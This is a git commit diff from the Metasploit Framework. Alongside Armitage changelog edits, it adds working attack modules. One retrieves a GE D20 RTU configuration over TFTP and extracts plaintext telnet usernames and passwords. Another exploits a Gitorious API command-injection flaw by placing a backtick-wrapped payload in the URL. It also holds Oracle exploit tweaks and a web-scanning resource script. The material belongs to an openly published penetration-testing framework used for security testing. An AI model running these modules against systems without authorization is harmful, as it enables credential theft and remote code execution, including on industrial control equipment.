Merge branch 'master' of r7.github.com:rapid7/metasploit-framework
commit
0abfcef1df
Binary file not shown.
|
@ -32,9 +32,6 @@ information on connecting Armitage to Metasploit and using it.
|
|||
|
||||
To get started, see the manual at http://www.fastandeasyhacking.com
|
||||
|
||||
To update Armitage, type 'svn update .' to get the latest archive from the
|
||||
subversion server. I recommend doing this regularly (once a week).
|
||||
|
||||
4. Source Code
|
||||
-----------
|
||||
|
||||
|
@ -63,7 +60,7 @@ sure you peruse the FAQ and Manual first.
|
|||
7. License
|
||||
-------
|
||||
|
||||
(c) 2010-2011 Raphael Mudge. This project is licensed under the BSD license.
|
||||
(c) 2010-2012 Raphael Mudge. This project is licensed under the BSD license.
|
||||
See section 8 for more information.
|
||||
|
||||
lib/jgraphx.jar is used here within the terms of the BSD license offered by
|
||||
|
|
|
@ -1,6 +1,36 @@
|
|||
Armitage Changelog
|
||||
==================
|
||||
|
||||
19 Jan 12
|
||||
---------
|
||||
- Data export now includes a sessions file. This lists all of the Metasploit
|
||||
sessions you had in your database. There's some neat data here including
|
||||
which exploit was used, which payload, start time, and close time. You can
|
||||
calculate how much time you spent on your client's boxes. Cool stuff.
|
||||
- Fixed a potential dead-lock caused by mouse enter/exit events firing code
|
||||
that required a lock. Nice landmine to defuse.
|
||||
- Fixed a weird condition with d-server detection. Sometimes (rarely)
|
||||
Armitage wouldn't detect the d-server even when it's present.
|
||||
- Added check to d-server allowing one lock per/client. Client won't reobtain
|
||||
a lock until it lets it go. This prevents you from opening two shell tabs
|
||||
for a shell session in team mode.
|
||||
- Fixed an infinite loop condition when some Windows shell commands would
|
||||
return output with no newlines (e.g., net stop [some service]). Thanks
|
||||
Jesse for pointing me to this one.
|
||||
- Data export now includes a timeline file. This file documents all of the
|
||||
major engagement events seen by Armitage. Included with each of these
|
||||
events is the source ip of the attack system and the user who carried out
|
||||
the action (when teaming is setup).
|
||||
- Data export now exports timestamps with current timezone (not GMT)
|
||||
- Fixed a nasty bug that's been with Armitage since the beginning! I wasn't
|
||||
freeing edges properly in the graph view. If you had pivots setup in graph
|
||||
view and used Armitage long enough--eventually Armitage would slow down until
|
||||
the program became unusable. At least it's fixed now.
|
||||
- Adjusted the d-server state identity hash combination algorithm to better
|
||||
avoid collissions.
|
||||
- Armitage now displays 'shell session' below a host if the host info is just
|
||||
the Windows shell banner.
|
||||
|
||||
5 Jan 12
|
||||
--------
|
||||
- Armitage d-server now transmits hosts, service, and session state only
|
||||
|
|
|
@ -0,0 +1,275 @@
|
|||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
##
|
||||
# This module grabs the device configuration from a GE D20M* RTU and
|
||||
# parses the usernames and passwords from it.
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'rex/ui/text/shell'
|
||||
require 'rex/proto/tftp'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
include Rex::Ui::Text
|
||||
include Rex::Proto::TFTP
|
||||
include Msf::Exploit::Remote::Udp
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'General Electric D20 Password Recovery',
|
||||
'Description' => %q{
|
||||
The General Electric D20ME and possibly other units (D200?) feature
|
||||
TFTP readable configurations with plaintext passwords. This module
|
||||
retrieves the username, password, and authentication level list.
|
||||
},
|
||||
'Author' => [ 'K. Reid Wightman <wightman[at]digitalbond.com>' ],
|
||||
'License' => MSF_LICENSE,
|
||||
'Version' => '$Revision: 1 $',
|
||||
'DisclosureDate' => 'Jan 19 2012',
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(69),
|
||||
Opt::RHOST('192.168.255.1'),
|
||||
OptString.new('REMOTE_CONFIG_NAME', [true, "The remote filename used to retrieve the configuration", "NVRAM\\D20.zlb"])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def setup
|
||||
@rhost = datastore['RHOST']
|
||||
@rport = datastore['RPORT'] || 69
|
||||
@lport = datastore['LPORT'] || (1025 + rand(0xffff - 1025))
|
||||
@lhost = datastore['LHOST'] || "0.0.0.0"
|
||||
@rfile = datastore['REMOTE_CONFIG_NAME']
|
||||
end
|
||||
|
||||
def cleanup
|
||||
if @tftp_client and @tftp_client.respond_to? :complete
|
||||
while not @tftp_client.complete
|
||||
select(nil,nil,nil,1)
|
||||
vprint_status "Cleaning up the TFTP client ports and threads."
|
||||
@tftp_client.stop
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def rtarget(ip=nil)
|
||||
if (ip or rhost) and rport
|
||||
[(ip || rhost),rport].map {|x| x.to_s}.join(":") << " "
|
||||
elsif (ip or rhost)
|
||||
"#{rhost}"
|
||||
else
|
||||
""
|
||||
end
|
||||
end
|
||||
|
||||
# Retrieve the file
|
||||
def retrieve
|
||||
print_status("Retrieving file")
|
||||
@tftp_client = Rex::Proto::TFTP::Client.new(
|
||||
"LocalHost" => @lhost,
|
||||
"LocalPort" => @lport,
|
||||
"PeerHost" => @rhost,
|
||||
"PeerPort" => @rport,
|
||||
"RemoteFile" => @rfile,
|
||||
"Action" => :download
|
||||
)
|
||||
@tftp_client.send_read_request { |msg| print_tftp_status(msg) }
|
||||
@tftp_client.threads do |thread|
|
||||
thread.join
|
||||
end
|
||||
# Wait for GET to finish
|
||||
while not @tftp_client.complete
|
||||
select(nil, nil, nil, 0.1)
|
||||
end
|
||||
fh = @tftp_client.recv_tempfile
|
||||
return fh
|
||||
end
|
||||
|
||||
# Builds a big-endian word
|
||||
def makeword(bytestr)
|
||||
return bytestr.unpack("n")[0]
|
||||
end
|
||||
# builds abi
|
||||
def makelong(bytestr)
|
||||
return bytestr.unpack("N")[0]
|
||||
end
|
||||
|
||||
# Returns a pointer. We re-base the pointer
|
||||
# so that it may be used as a file pointer.
|
||||
# In the D20 memory, the file is located in flat
|
||||
# memory at 0x00800000.
|
||||
def makefptr(bytestr)
|
||||
ptr = makelong(bytestr)
|
||||
ptr = ptr - 0x00800000
|
||||
return ptr
|
||||
end
|
||||
|
||||
# Build a string out of the file. Assumes that the string is
|
||||
# null-terminated. This will be the case in the D20 Username
|
||||
# and Password fields.
|
||||
def makestr(f, strptr)
|
||||
f.seek(strptr)
|
||||
str = ""
|
||||
b = f.read(1)
|
||||
if b != 0
|
||||
str = str + b
|
||||
end
|
||||
while b != "\000"
|
||||
b = f.read(1)
|
||||
if b != "\000"
|
||||
str = str + b
|
||||
end
|
||||
end
|
||||
return str
|
||||
end
|
||||
|
||||
# configuration section names in the file are always
|
||||
# 8 bytes. Sometimes they are null-terminated strings,
|
||||
# but not always, so I use this silly helper function.
|
||||
def getname(f, entryptr)
|
||||
f.seek(entryptr + 12) # three ptrs then name
|
||||
str = f.read(8)
|
||||
return str
|
||||
end
|
||||
|
||||
def leftchild(f, entryptr)
|
||||
f.seek(entryptr + 4)
|
||||
ptr = f.read(4)
|
||||
return makefptr(ptr)
|
||||
end
|
||||
|
||||
def rightchild(f, entryptr)
|
||||
f.seek(entryptr + 8)
|
||||
ptr = f.read(4)
|
||||
return makefptr(ptr)
|
||||
end
|
||||
|
||||
# find the entry in the configuration file.
|
||||
# the file is a binary tree, with pointers to parent, left, right
|
||||
# stored as 32-bit big-endian values.
|
||||
# sorry for depth-first recursion
|
||||
def findentry(f, name, start)
|
||||
f.seek(start)
|
||||
myname = getname(f, start)
|
||||
if name == myname
|
||||
return start
|
||||
end
|
||||
left = leftchild(f, start)
|
||||
right = rightchild(f, start)
|
||||
if name < myname
|
||||
if left < f.stat.size and left != 0
|
||||
res = findentry(f, name, leftchild(f, start))
|
||||
else
|
||||
res = nil # this should perolate up
|
||||
end
|
||||
end
|
||||
if name > myname
|
||||
if right < f.stat.size and right != 0
|
||||
res = findentry(f, name, rightchild(f, start))
|
||||
else
|
||||
res = nil
|
||||
end
|
||||
end
|
||||
return res
|
||||
end
|
||||
|
||||
# Parse the usernames, passwords, and security levels from the config
|
||||
# It's a little ugly (lots of hard-coded offsets).
|
||||
# The userdata starts at an offset dictated by the B014USERS config
|
||||
# offset 0x14 (20) bytes. The rest is all about skipping past the
|
||||
# section header.
|
||||
def parseusers(f, userentryptr)
|
||||
f.seek(userentryptr + 0x14)
|
||||
dstart = makefptr(f.read(4))
|
||||
f.seek(userentryptr + 0x1C)
|
||||
numentries = makelong(f.read(4))
|
||||
f.seek(userentryptr + 0x60)
|
||||
headerlen = makeword(f.read(2))
|
||||
f.seek(userentryptr + 40) # sorry decimal
|
||||
entrylen = makeword(f.read(2)) # sorry this is decimal
|
||||
logins = Rex::Ui::Text::Table.new(
|
||||
'Header' => "D20 usernames, passwords, and account levels\n(use for TELNET authentication)",
|
||||
'Indent' => 1,
|
||||
'Columns' => ["Type", "User Name", "Password"])
|
||||
range = Range.new(0, numentries - 1)
|
||||
range.each do |i|
|
||||
f.seek(dstart + headerlen + i * entrylen)
|
||||
accounttype = makeword(f.read(2))
|
||||
f.seek(dstart + headerlen + i * entrylen + 2)
|
||||
accountname = makestr(f, dstart + headerlen + i * entrylen + 2)
|
||||
f.seek(dstart + headerlen + i * entrylen + 2 + 22)
|
||||
accountpass = makestr(f, dstart + headerlen + i * entrylen + 2 + 22)
|
||||
if accountname.size + accountpass.size > 44
|
||||
print_error("Bad account parsing at #{dstart + headerlen + i * entrylen}")
|
||||
break
|
||||
end
|
||||
logins << [accounttype, accountname, accountpass]
|
||||
report_auth_info(
|
||||
:host => datastore['RHOST'],
|
||||
:port => 23,
|
||||
:sname => "telnet",
|
||||
:user => accountname,
|
||||
:pass => accountpass,
|
||||
:active => true
|
||||
)
|
||||
end
|
||||
if not logins.rows.empty?
|
||||
loot = store_loot(
|
||||
"d20.user.creds",
|
||||
"text/csv",
|
||||
datastore['RHOST'],
|
||||
logins.to_s,
|
||||
"d20_user_creds.txt",
|
||||
"General Electric TELNET User Credentials",
|
||||
datastore['RPORT']
|
||||
)
|
||||
print_line logins.to_s
|
||||
print_status("Loot stored in: #{loot}")
|
||||
else
|
||||
print_error("No data collected")
|
||||
end
|
||||
end
|
||||
|
||||
def parse(fh)
|
||||
print_status("Parsing file")
|
||||
f = File.open(fh, 'rb')
|
||||
used = f.read(4)
|
||||
if used != "USED"
|
||||
print_error "Invalid Configuration File!"
|
||||
return
|
||||
end
|
||||
f.seek(0x38)
|
||||
start = makefptr(f.read(4))
|
||||
userptr = findentry(f, "B014USER", start)
|
||||
if userptr != nil
|
||||
parseusers(f, userptr)
|
||||
else
|
||||
print_error "Error finding the user table in the configuration."
|
||||
end
|
||||
end
|
||||
|
||||
def run
|
||||
fh = retrieve
|
||||
parse(fh)
|
||||
end
|
||||
|
||||
def print_tftp_status(msg)
|
||||
case msg
|
||||
when /Aborting/, /errors.$/
|
||||
print_error [rtarget,msg].join
|
||||
when /^WRQ accepted/, /^Sending/, /complete!$/
|
||||
print_good [rtarget,msg].join
|
||||
else
|
||||
vprint_status [rtarget,msg].join
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,83 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Gitorious Arbitrary Command Execution',
|
||||
'Description' => %q{
|
||||
This module exploits an arbitrary command execution vulnerability in the
|
||||
in gitorious. Unvalidated input is send to the shell allowing command execution.
|
||||
},
|
||||
'Author' => [ 'joernchen <joernchen[at]phenoelit.de>' ], #Phenoelit
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
[ 'URL', 'http://gitorious.org/gitorious/mainline/commit/647aed91a4dc72e88a27476948dfbacd5d0bf7ce' ],
|
||||
],
|
||||
'Privileged' => false,
|
||||
'Payload' =>
|
||||
{
|
||||
'BadChars' => "\x60",
|
||||
'DisableNops' => true,
|
||||
'Space' => 31337,
|
||||
'Compat' =>
|
||||
{
|
||||
'PayloadType' => 'cmd',
|
||||
}
|
||||
},
|
||||
'Platform' => [ 'unix', 'linux' ],
|
||||
'Arch' => ARCH_CMD,
|
||||
'Targets' => [[ 'Automatic', { }]],
|
||||
'DisclosureDate' => 'Jan 19 2012'
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('URI', [true, "Path to project and repository", "/project/repo"]),
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def exploit
|
||||
# Make sure the URI begins with a slash
|
||||
uri = datastore['URI']
|
||||
if uri[0,1] != '/'
|
||||
uri = '/' + uri
|
||||
end
|
||||
|
||||
# Make sure the URI ends without a slash, because it's already part of the URI
|
||||
if uri[-1, 1] == '/'
|
||||
uri = uri[0, uri.length-1]
|
||||
end
|
||||
|
||||
command = Rex::Text.uri_encode(payload.raw, 'hex-all')
|
||||
command.gsub!("%20","%2520")
|
||||
res = send_request_cgi({
|
||||
'uri' => "/api"+ uri + "/log/graph/%60#{command}%60",
|
||||
'method' => 'GET',
|
||||
'headers' =>
|
||||
{
|
||||
'Connection' => 'Close',
|
||||
}
|
||||
}) #default timeout, we don't care about the response
|
||||
|
||||
if (res)
|
||||
print_status("The server returned: #{res.code} #{res.message}")
|
||||
end
|
||||
|
||||
handler
|
||||
end
|
||||
|
||||
end
|
|
@ -80,7 +80,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
def check
|
||||
version = tns_version
|
||||
if (not version)
|
||||
raise RuntimeError, "Unable to detect version!"
|
||||
raise RuntimeError, "Unable to detect the Oracle version!"
|
||||
end
|
||||
print_status("Oracle version reply: " + version)
|
||||
return Exploit::CheckCode::Vulnerable if (version =~ /32-bit Windows: Version 10\.2\.0\.1\.0/)
|
||||
|
@ -97,7 +97,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
version = tns_version
|
||||
if (not version)
|
||||
raise RuntimeError, "Unable to detect version!"
|
||||
raise RuntimeError, "Unable to detect the Oracle version!"
|
||||
end
|
||||
|
||||
if (version =~ /32-bit Windows: Version 10\.2\.0\.1\.0/)
|
||||
|
@ -253,6 +253,8 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
res = sock.get_once(-1, 1)
|
||||
disconnect
|
||||
return res
|
||||
rescue EOFError
|
||||
return nil
|
||||
end
|
||||
|
||||
|
||||
|
|
|
@ -42,7 +42,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
},
|
||||
'Author' => [ 'Solar Eclipse <solareclipse[at]phreedom.org>' ],
|
||||
'License' => GPL_LICENSE,
|
||||
'License' => BSD_LICENSE,
|
||||
'Version' => '$Revision$',
|
||||
'References' =>
|
||||
[
|
||||
|
|
|
@ -0,0 +1,63 @@
|
|||
# wmap-autoscan.rc
|
||||
# Author: m-1-k-3 (Web: http://www.s3cur1ty.de / Twitter: @s3cur1ty_de)
|
||||
|
||||
# This Metasploit RC-File could be used to analyse webapps automatically
|
||||
# first you should use the crawler module or autocrawler resource file
|
||||
# for learning the application
|
||||
|
||||
<ruby>
|
||||
#wmap profile - set it to nil if you would not use any profile
|
||||
#profile = nil
|
||||
profile = "#{Msf::Config.install_root}/data/wmap/wmap_sample_profile.txt"
|
||||
|
||||
if (framework.datastore['THREADS'] == nil) #default to 50 Threads
|
||||
run_single("setg THREADS 50")
|
||||
end
|
||||
|
||||
if (framework.datastore['VERBOSE'] == "true") #we look in the global datastore for a global VERBOSE option and use it
|
||||
verbose = 1
|
||||
else
|
||||
verbose = 0
|
||||
end
|
||||
|
||||
if (framework.plugins.to_s !~ /Wmap/)
|
||||
print_line("loading the wmap plugin ...")
|
||||
run_single("load wmap")
|
||||
end
|
||||
|
||||
framework.db.hosts.each do |host|
|
||||
host.services.each do |serv|
|
||||
next if not serv.host
|
||||
next if (serv.state != ServiceState::Open)
|
||||
next if (serv.name !~ /http/)
|
||||
|
||||
if(verbose == 1)
|
||||
print_line("")
|
||||
print_line("====================================")
|
||||
print_line("IP #{host.address}")
|
||||
print_line("OS #{host.os_name}")
|
||||
print_line("Servicename #{serv.name}")
|
||||
print_line("Service Port #{serv.port.to_i}")
|
||||
print_line("Service Protocol #{serv.proto}")
|
||||
print_line("====================================")
|
||||
print_line("")
|
||||
end
|
||||
print_line("available sites:")
|
||||
run_single("wmap_sites -l")
|
||||
print_line("site which will get analyzed:")
|
||||
run_single("wmap_sites -s #{host.address}:#{serv.port}")
|
||||
run_single("wmap_targets -t #{host.address}:#{serv.port}")
|
||||
print_line("defined target:")
|
||||
run_single("wmap_targets -l")
|
||||
if(profile != nil)
|
||||
run_single("wmap_run -e #{profile}")
|
||||
else
|
||||
run_single("wmap_run -e")
|
||||
end
|
||||
run_single("wmap_targets -c")
|
||||
print_line("")
|
||||
print_line("finished analysing the webservern on IP #{host.address}, Port: #{serv.port.to_i}")
|
||||
print_line("")
|
||||
end
|
||||
end
|
||||
</ruby>
|
Loading…
Reference in New Issue